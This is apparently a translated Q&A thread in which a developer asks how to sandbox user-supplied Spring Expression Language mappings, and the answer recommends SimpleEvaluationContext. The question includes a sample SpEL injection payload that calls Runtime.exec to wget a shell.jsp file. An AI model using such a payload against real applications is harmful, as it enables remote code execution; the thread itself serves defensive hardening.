我正在使用Spring-EL创建在不同Spring-Batch导入作业中使用的动态csv字段到类字段的映射。 (不同的输入文件,相同的输出类)。这工作得很好,但是想法是用户必须可以创建这样的映射配置。
问题在于,Spring-EL表达式未在一种沙箱中执行,因此很容易注入恶意代码。例如:
2
我的问题是,如何在某种沙箱中运行Spring-EL或将访问限制为仅对一组特定的方法/类进行访问?我找不到与此主题相关的任何东西。也许Spring-EL不是这项工作的正确选择。
我尝试实现的示例:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
答案 0 :(得分:2)
SimpleEvaluationContext
旨在减少应用程序漏洞。
SimpleEvaluationContext
设计为仅支持SpEL语言语法的子集。它不包括Java类型引用,构造函数和Bean引用。它还要求您明确选择对表达式中的属性和方法的支持级别。默认情况下,create()
静态工厂方法仅允许对属性的读取访问。